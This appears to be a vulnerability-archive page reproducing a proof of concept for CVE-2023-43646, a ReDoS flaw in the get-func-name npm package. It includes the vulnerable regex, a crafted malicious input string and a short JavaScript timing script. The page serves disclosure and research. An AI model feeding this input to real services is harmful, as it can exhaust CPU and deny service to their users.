目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2023-43646 PoC — get-func-name 安全漏洞

来源
关联漏洞
标题: get-func-name 安全漏洞 (CVE-2023-43646)
Description:get-func-name是Chaijs开源的一个在 NodeJS 和浏览器中安全一致地检索函数名称的模块。 get-func-name 2.0.1 之前版本存在安全漏洞,该漏洞源于系统存在正则表达式拒绝服务 (redos) 漏洞,可能在解析恶意输入时导致拒绝服务。
Description
redos
介绍
# CVE-2023-43646



## 취약점 개요

- CVE-2023-43646

- CVSS : 8.6

- Sep 26, 2023

- ReDoS in node.js package

- rebob 프로젝트의 일환

## 취약점 설명

[github advisories](https://github.com/chaijs/get-func-name/security/advisories/GHSA-4q6p-r6v2-jvc5)

```
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/
```

This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input:

```
'\t'.repeat(54773) + '\t/function/i'
```

Here is a simple PoC code to demonstrate the issue:

```
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;

const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'

protocolre.test(maliciousInput);

const endTime = Date.now();

console.log("process time: ", endTime - startTime, "ms");
```


[target package](https://www.npmjs.com/package/chai)
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →